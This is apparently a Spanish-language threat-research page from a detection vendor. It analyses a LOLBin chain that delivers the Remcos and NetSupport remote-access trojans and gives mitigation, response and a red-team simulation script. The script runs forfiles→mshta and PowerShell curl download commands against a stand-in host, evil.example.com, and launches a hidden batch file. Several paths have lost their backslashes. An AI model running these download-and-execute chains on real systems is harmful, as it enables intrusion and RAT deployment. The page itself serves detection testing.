SOC Prime Bias: Medio

23 Jan 2026 15:03 UTC

¿Puedes Sobrecargar LOLBins para Entregar Payloads de RAT?

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
¿Puedes Sobrecargar LOLBins para Entregar Payloads de RAT?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Este informe describe una cadena de infección multietapa que abusa agresivamente de utilidades integradas de Windows (LOLBins) para recuperar y ejecutar herramientas de acceso remoto, incluidas Remcos y NetSupport Manager. El operador encadena forfiles, mshta, PowerShell, curl, tar, WScript y cambios específicos en el registro para preparar cargas útiles, establecer persistencia y reducir la visibilidad. El flujo de trabajo también aprovecha el comportamiento del living-off-the-land para integrarse silenciosamente en la actividad administrativa rutinaria. Malwarebytes identificó la actividad y bloqueó la dirección IP relacionada. En general, subraya cómo el abuso general de LOLBin puede entregar RATs de manera confiable.

Investigación

Los investigadores vieron primero que forfiles.exe generaba mshta, que descargaba un HTA malicioso que ejecutaba PowerShell para obtener un señuelo PDF que contenía un archivo TAR. Después de la extracción, un glaxnimate.exe troyanizado depositó componentes fragmentados en ProgramData, luego los reensambló y lanzó usando WScript, scripts por lotes y archivos de soporte. La persistencia se estableció creando un valor UserInitMprLogonScript bajo HKCUEnvironment que hacía referencia a un binario de cliente malicioso.

Mitigación

Monitorear ejecuciones anómalas de LOLBin, particularmente de forfiles, mshta, curl, tar, expand y ediciones de registro sospechosas dentro de HKCUEnvironment. Aplicar listas blancas de aplicaciones, habilitar el registro exhaustivo de PowerShell y prevenir la ejecución de scripts desde ProgramData para limitar la preparación. Bloquear el tráfico HTTP saliente inusual hacia IPs desconocidas y aplicar filtros de URL para interrumpir los intentos iniciales de descarga.

Respuesta

Cuando se detecte, aislar el host, capturar telemetría de línea de comandos completa y recopilar artefactos dejados para análisis de hash. Eliminar la entrada de registro maliciosa y purgar archivos creados en ProgramData. Ejecutar un escaneo de punto final con las firmas AV actuales e implementar el bloqueo a nivel de red para la dirección IP del atacante y cualquier dominio asociado.

Flujo de ataque

Ejecución de Simulación

Prerequisito: El Chequeo de Telemetría & Línea Base Pre-vuelo debe haber pasado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque & Comandos:
    El operador de equipo rojo apunta a desplegar el Remcos RAT usando una cadena de LOLBins para evitar descargar un ejecutable directamente.

    1. Descubrimiento & Escenario: Use forfiles.exe para localizar un directorio objetivo y lanzar mshta con un URL malicioso que aloja una carga HTA.
    2. Descarga sin Archivos de PowerShell: Invoque powershell.exe con -NoProfile -Command curl para obtener un script de segunda etapa desde un servidor C2.
    3. Ejecución de VBScript: Despliegue un processor.vbs via WScript.exe elaboró para escribir el binario RAT en %ProgramData%.
    4. Creador de Batches: Ejecución de un archivo de lote oculto (patcher.bat) a través de cmd.exe invocado vía IWshShell3.Run para finalizar la persistencia.

    Cada paso genera un evento de creación de proceso distinto que coincide con una de las selecciones de Sigma, asegurando que la regla se active.

  • Script de Prueba de Regresión:
    El script a continuación reproduce las cuatro selecciones en un laboratorio controlado. Registra cada comando en un archivo temporal para su verificación posterior.

    #-------------------------------------------------
    # Simulación de Abuso de LOLBin – activa la regla Sigma
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Executing: $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> curl download
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Executing: $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Executing: $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Executing: $cmd4 (via IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Simulation complete." | Tee-Object -FilePath $log
  • Comandos de Limpieza:
    Eliminar los artefactos para restaurar el host a un estado limpio.

    # Eliminar artefactos de simulación de LOLBin
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
    Write-Output "[+] Limpieza completa."